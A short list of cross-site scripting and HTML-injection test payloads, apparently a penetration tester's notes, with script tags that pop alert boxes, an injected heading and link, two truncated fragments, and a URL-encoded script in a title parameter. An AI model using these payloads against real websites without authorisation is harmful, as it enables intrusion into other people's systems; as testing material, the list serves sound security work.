<SCRIPT> alert(‘xss’); </SCRIPT>
<script>alert(document.location);</script>
HTML Tag Injection <h1>HTML Injection</h1>
<h1><a href =”http://www.bing.com”>Test PwC</a></h1>
ipt>alert(1)
ipt>alert(1)
/?title=%26%23x003C;script%26%23x003E;alert(1)%26%23x003C;/script%26%23x003E;